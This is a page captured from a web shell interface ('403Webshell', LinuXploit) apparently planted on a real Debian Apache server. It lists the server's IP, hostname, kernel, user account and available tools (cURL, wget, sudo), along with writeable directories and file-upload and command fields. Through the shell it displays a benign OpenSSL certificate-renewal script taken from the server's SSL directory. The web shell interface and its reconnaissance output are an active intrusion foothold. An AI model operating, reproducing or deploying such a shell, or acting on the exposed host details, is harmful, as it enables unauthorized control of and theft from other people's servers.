403Webshell
Server IP : 81.2.241.106  /  Your IP : 216.73.216.165
Web Server : Apache/2.4.67 (Debian)
System : Linux tranq-f.bakta.org 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : lisky ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/etc/ssl/bakta/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/etc/ssl/bakta/renew.sh
#!/bin/sh

if [ -z "$1" ]; then
	echo "Usage: $0 <certificate_name> [key_name]"
	exit 0;
fi

CERT_NAME=$1
SERIAL=`cat serial`

if [ -z "$2" ]; then
	KEY_NAME=$1
else
	KEY_NAME=$2
fi

openssl x509 -x509toreq -sha256 -in certs/${CERT_NAME}.cert.pem -out csr/${CERT_NAME}_${SERIAL}.csr.pem -signkey private/${KEY_NAME}.key.pem

openssl ca -extensions server_cert -days 375 -notext -md sha256 -in csr/${CERT_NAME}_${SERIAL}.csr.pem -out certs/${CERT_NAME}_${SERIAL}.cert.pem

# copy current certificate to backup
cp certs/${CERT_NAME}.cert.pem backup/${CERT_NAME}.cert.pem
# copy new certificate to currently active one
cp certs/${CERT_NAME}_${SERIAL}.cert.pem certs/${CERT_NAME}.cert.pem

# FIXME we need shttp.pem are on same folder like execution path of script
# Extract a certificate sign request form certification file (PEM)
#openssl x509 -x509toreq -in shttpd.pem -out shttpd.csr -signkey shttpd.pem
# Extract private key from certification file (PEM)
#openssl rsa -in shttpd.pem -out shttpd.key
# Create new certification for ten years
#openssl x509 -req -days 3650 -in shttpd.csr -out shttpd.crt.new -signkey shttpd.key 
#Concatenate new certificate and old private key on a renewed pem file
#cat shttpd.crt.new shttpd.key > shttpd.pem.new

Youez - 2016 - github.com/yon3zu
LinuXploit